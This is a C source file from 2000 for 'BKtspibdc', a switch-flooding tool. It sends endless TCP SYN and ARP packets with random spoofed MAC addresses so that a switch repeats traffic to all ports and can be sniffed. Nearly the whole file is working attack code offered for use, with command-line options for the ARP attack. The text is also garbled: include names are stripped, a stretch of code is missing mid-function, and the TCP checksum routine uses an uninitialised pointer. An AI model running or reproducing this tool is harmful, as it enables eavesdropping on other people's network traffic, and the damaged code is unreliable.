/* * _/_/_/ _/ _/ _/ _/ _/_/_/ _/_/_/ _/ * _/ _/ _/ _/ _/ _/_/ _/ _/ _/ _/ _/_/ * _/_/_/_/ _/ _/_/ _/ _/ _/_/_/ _/_/_/ _/ _/ * _/ _/ _/ _/ _/ _/_/_/_/ _/ _/ _/_/_/_/ * _/_/_/_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ * * * $Id: BKtspibdc.c ,v 9.9 2000/05/18 14:00:45 l0wlevel Exp $ * * BKtrpibdc.c - Network tool for switch sniff * Based on Amua Library - Arp&Mac:Use&Abuse * Coded on a Redbug 5.0+1.0+0.2 * Tools used: vi,gcc,ping,tcpdump * Last modification added in a hot august day. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * Copyright (c) 2000 bikappa [l0wlevel] * All rights reserved. * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include void info() { printf("\n Based on Amua Library - Arp&Mac:Use&Abuse\n\n"); printf(" This tool flood your switch with TCP & IP & ARP request with spoofed MAC \n"); printf(" The switch will start to repeat packets to any ports.\n"); printf(" So you'll get easy way to sniff with a simple promiscuos.\n\n"); printf(" Copyright (C) 2000 by bikappa [l0wlevel]\n\n"); } void usage(char * arg) { printf("\n BKtspibdc - Copyright (C) 2000 by bikappa [l0wlevel] \n"); printf(" This tool floods your switch \n\n"); printf(" usage: %s -h -i -s -d -p -a -t -e\n\n", arg); printf(" -h help print this help \n"); printf(" -i info print info about the program and the author \n"); printf(" -s source mac forge the packet with a standard src mac \n"); printf(" -d destination mac forge the packet with a standard dst mac \n"); printf(" -p print print source and destination mac generated \n"); printf(" -a arp attack add arp attacck \n"); printf(" -t arp time if -a is used, time to send arp packet (default 2) \n"); printf(" -e ethernet device change from default (eth0)\n\n"); } struct arp_header_packet { unsigned short mac_address_format; unsigned short ip_address_format; unsigned char mac_address_length; unsigned char ip_address_length; unsigned short op_type; unsigned char source_mac_address[6]; unsigned char source_ip_address[4]; unsigned char destination_mac_address[6]; unsigned char destination_ip_address[4]; }; struct ethernet_header_device { unsigned char ethernet_destination_address[6]; unsigned char ethernet_source_address[6]; unsigned short ethernet_type; }; struct link_interface { int fd; int linktype; int linkoffset; u_char *device; }; struct ip_header_packet { unsigned char ip_header_length:4,ip_version:4; unsigned char ip_type_of_service; unsigned short ip_length; unsigned short ip_id; unsigned short ip_offset; unsigned char ip_ttl; unsigned char ip_protocol; unsigned short ip_checksum; struct in_addr ip_src, ip_dst; }; struct tcp_header_packet { unsigned short source_port; unsigned short destination_port; unsigned long sequence_number; unsigned long ack; unsigned char x2:4, data_offset:4; unsigned char control_flags; unsigned short window; unsigned short checksum; unsigned short urgent_pointer; }; int build_ethernet(unsigned char *destination, unsigned char *source, unsigned short ethertype, unsigned char *buffer) { struct ethernet_header_device ethernet_header; const unsigned char *payload = NULL; int payload_s = 0; unsigned short eth_head_l = 0xe; if (!buffer) return (-1); memcpy(ethernet_header.ethernet_destination_address, destination, 6); memcpy(ethernet_header.ethernet_source_address, source, 6); ethernet_header.ethernet_type = htons(ethertype); if (payload && payload_s) memcpy(buffer + eth_head_l, payload, payload_s); memcpy(buffer, ðernet_header, sizeof(ethernet_header)); return (1); } int build_tcp (unsigned short source_port, unsigned short destination_port, unsigned long seq, unsigned long ack, unsigned char control, unsigned short window, unsigned short urg, unsigned char *buffer) { struct tcp_header_packet tcp_header; const unsigned char *payload = NULL; int payload_s = 0; unsigned long tcp_header_length = 0x14; if (!buffer) return (-1); tcp_header.source_port = htons(source_port); tcp_header.destination_port = htons(destination_port); tcp_header.sequence_number = htonl(seq); tcp_header.ack = htonl(ack); tcp_header.control_flags = control; tcp_header.x2 = 0; tcp_header.data_offset = 5; tcp_header.window = htons(window); tcp_header.checksum = 0; tcp_header.urgent_pointer = urg; if (payload && payload_s) memcpy(buffer + tcp_header_length, payload, payload_s); memcpy((unsigned char *)buffer, (unsigned char *)&tcp_header, sizeof(tcp_header)); return (1); } int build_ip (unsigned short length, unsigned char tos, unsigned short id, unsigned short frag, unsigned char ttl, unsigned char protocol, unsigned long source_address, unsigned long destination_address, unsigned char *buffer) { struct ip_header_packet ip_header; const unsigned char *payload = NULL; int payload_s = 0; unsigned long ip_header_length = 0x14; if (!buffer) return (-1); ip_header.ip_version = 4; ip_header.ip_header_length = 5; ip_header.ip_type_of_service = tos; ip_header.ip_length = htons(ip_header_length + length); ip_header.ip_id = htons(id); ip_header.ip_offset = htons(frag); ip_header.ip_ttl = ttl; ip_header.ip_protocol = protocol; ip_header.ip_checksum = 0; ip_header.ip_src.s_addr = source_address; ip_header.ip_dst.s_addr = destination_address; if (payload && payload_s) memcpy(buffer + ip_header_length, payload, payload_s); memcpy((unsigned char *)buffer, (unsigned char *)&ip_header, sizeof(ip_header)); return (1); } int build_arp(unsigned char *source_mac_address, unsigned char *source_ip_address, unsigned char *destination_mac_address, unsigned char *destination_ip_address, unsigned char *buffer) { struct arp_header_packet arp_header; const unsigned char *payload = NULL; int payload_s = 0; unsigned short ethertype = 0x0800, hardware_type = 1, opcode_cmd = 2, arp_head_l = 0x1c, mac_address_length = 6, ip_address_length =4; if (!buffer) return (-1); arp_header.mac_address_format = htons(hardware_type); arp_header.ip_address_format = htons(ethertype); arp_header.op_type = htons(opcode_cmd); arp_header.mac_address_length = mac_address_length; arp_header.ip_address_length = ip_address_length; memcpy(arp_header.source_mac_address, source_mac_address, mac_address_length); memcpy(arp_header.source_ip_address, source_ip_address, ip_address_length); memcpy(arp_header.destination_mac_address, destination_mac_address, mac_address_length); memcpy(arp_header.destination_ip_address, destination_ip_address, ip_address_length); if (payload && payload_s) memcpy(buffer + arp_head_l, payload, payload_s); memcpy(buffer, &arp_header, sizeof(arp_header)); return (1); } int ip_checksum (unsigned char *buf) { struct ip_header_packet *iph_p; int ip_header_length, checksum = 0, nleft = 0, length = 0x14; unsigned short ans = 0; unsigned short *source; iph_p = (struct ip_header_packet *)buf; ip_header_length = iph_p->ip_header_length << 2; iph_p->ip_checksum = 0; nleft = length; source = (unsigned short *)iph_p; while (nleft > 1) { checksum += *source++; nleft -= 2; } if (nleft == 1) { *(unsigned char *)(&ans) = *(unsigned char *)source; checksum += ans; } iph_p->ip_checksum = (checksum >> 16) + (checksum & 0xffff); return (1); } int tcp_checksum (unsigned char *buf) { struct ip_header_packet *iph_p; struct tcp_header_packet *tcph_p; int ip_header_length, checksum = 0, nleft = 0, length = 0x14; unsigned short ans = 0; unsigned short *source; ip_header_length = iph_p->ip_header_length << 2; tcph_p = (struct tcp_header_packet *)(buf + ip_header_length); tcph_p->checksum = 0; source = (unsigned short *)&iph_p->ip_src; nleft = 8; while (nleft > 1) { checksum += *source++; nleft -= 2; } if (nleft == 1) { *(unsigned char *)(&ans) = *(unsigned char *)source; } checksum += ntohs(length +6); nleft = length; source = (unsigned short *)tcph_p; while (nleft > 1) { checksum += *source++; nleft -= 2; } if (nleft == 1) { *(unsigned char *)(&ans) = *(unsigned char *)source; checksum += ans; } tcph_p->checksum = (checksum >> 16) + (checksum & 0xffff); return (1); } unsigned long get_random16() { unsigned long n = random(); return (n % 0xffff); } unsigned long get_random32() { unsigned long n = random(); return (n); } void set_random_mac_address (char *mac_add) { int i; for(i = 0; i < 6; i++) i[mac_add] = random() % 256; } struct link_interface * open_link_interface(char *device, char *ebuf) { register struct link_interface *l; struct ifreq ifr; l = (struct link_interface *)malloc(sizeof (*l)); if (l == NULL) { fprintf(stderr, " Malloc: %s.\n", ebuf); return (NULL); } memset(l, 0, sizeof (*l)); l->fd = socket(PF_INET, SOCK_PACKET, htons(ETH_P_ALL)); if (l->fd == -1) { fprintf(stderr, " Socket: %s.\n", ebuf); if (l->fd >= 0) close(l->fd); free(l); return (NULL); } memset(&ifr, 0, sizeof (ifr)); strncpy(ifr.ifr_name, device, sizeof (ifr.ifr_name)); if (ioctl(l->fd, SIOCGIFHWADDR, &ifr) < 0 ) { fprintf(stderr, " SIOCGIFHWADDR: %s.\n", ebuf); if (l->fd >= 0) close(l->fd); free(l); return (NULL); } l->linkoffset = 0xe; l->linktype = 12; return (l); } int init_packet(int p_size, unsigned char **buffer) { int max_packet = 65535; if (p_size <= 0) p_size = max_packet + 1; *buffer = (unsigned char *)malloc(p_size); if (!*buffer) { perror(" Init packet malloc failed:"); return (-1); } else { memset(*buffer, 0, p_size); return (1); } } int destroy_packet(unsigned char **buffer) { if (!*buffer) { return (-1); } free(*buffer); *buffer = NULL; return (1); } void count_success(int repeat) { int i; for (i = 0; i *\n"); printf(" **************************************************************************\n\n"); printf(" Loading data "); count_success(10); packet1_length = eth_header_length + ip_header_length + tcp_header_length; packet2_length = eth_header_length + arp_header_length; temp = init_packet(packet1_length, &packet1); if( temp == -1) { fprintf(stderr, " First packet initialization failed.\n"); exit(0); } else if ( temp == 1) { printf(" First packet initialization"); count_success (8); } temp = init_packet(packet2_length, &packet2); if( temp == -1) { fprintf(stderr, " Second packet initialization failed.\n"); exit(0); } else if ( temp == 1) { printf(" Second packet initialization"); count_success (8); } if((link = open_link_interface(ethernet_device, ebuf)) == NULL) { fprintf(stderr, " Open link interface failed: %s.\n", ebuf); exit(0); } printf(" Open link interface "); count_success(8); printf (" Starting attack on %s device", ethernet_device); count_success(6); signal(SIGINT, cleanall); signal(SIGKILL, cleanall); printf("\n"); for (;;i++) { if ( sm == 1) set_address (source_mac_address_t, source_mac_address); else set_random_mac_address (source_mac_address); if ( dm == 1) set_address (destination_mac_address_t, destination_mac_address); else set_random_mac_address (destination_mac_address); source = get_random32(); destination = get_random32(); source_port = get_random16(); destination_port = get_random16(); build_ethernet (destination_mac_address, source_mac_address, ethertype_ip, packet1); build_ip (ip_header_length, 0, (char)get_random16, 0, 64, 6, source, destination, packet1 + eth_header_length); build_tcp (source_port, destination_port, (char)get_random32, (char)get_random32, f_syn, 1024, 0, packet1 + eth_header_length + ip_header_length); ip_checksum (packet1 + eth_header_length); tcp_checksum (packet1 + eth_header_length); memset(&sa, 0, sizeof (sa)); strncpy(sa.sa_data, ethernet_device, sizeof (sa.sa_data)); c = sendto(link->fd, packet1, packet1_length, 0, &sa, sizeof (sa)); if (c != packet1_length) fprintf(stderr, "Warning: write Layer : %d bytes written.\n", c); if ( print_mac_address == 1 ) { felix_ruls_to_save_address(source_mac_address, source_mac_address_t); felix_ruls_to_save_address(destination_mac_address, destination_mac_address_t); printf("TCP/IP: Mac source: (%s)\t Mac destination (%s)\n", source_mac_address_t, destination_mac_address_t); } if ( arp_attack == 1) { if ( x == i) { x+= arp_time; if ( sm == 1) set_address (source_mac_address_t, source_mac_address); else set_random_mac_address (source_mac_address); if ( dm == 1) set_address (destination_mac_address_t, destination_mac_address); else set_random_mac_address (destination_mac_address); source = get_random32(); destination = get_random32(); build_ethernet (destination_mac_address, source_mac_address, ethertype_arp, packet2); build_arp(source_mac_address, (char *)&source, destination_mac_address, (char *)&destination, packet2 + eth_header_length); memset(&sa, 0, sizeof (sa)); strncpy(sa.sa_data, ethernet_device, sizeof (sa.sa_data)); c = sendto(link->fd, packet2, packet2_length, 0, &sa, sizeof (sa)); if (c != packet2_length) fprintf(stderr, "Warning: write Layer : %d bytes written.\n", c); if ( print_mac_address == 1 ) { felix_ruls_to_save_address(source_mac_address, source_mac_address_t); felix_ruls_to_save_address(destination_mac_address, destination_mac_address_t); printf("ARP : Mac source: (%s)\t Mac destination (%s)\n", source_mac_address_t, destination_mac_address_t); } } } } return 1; }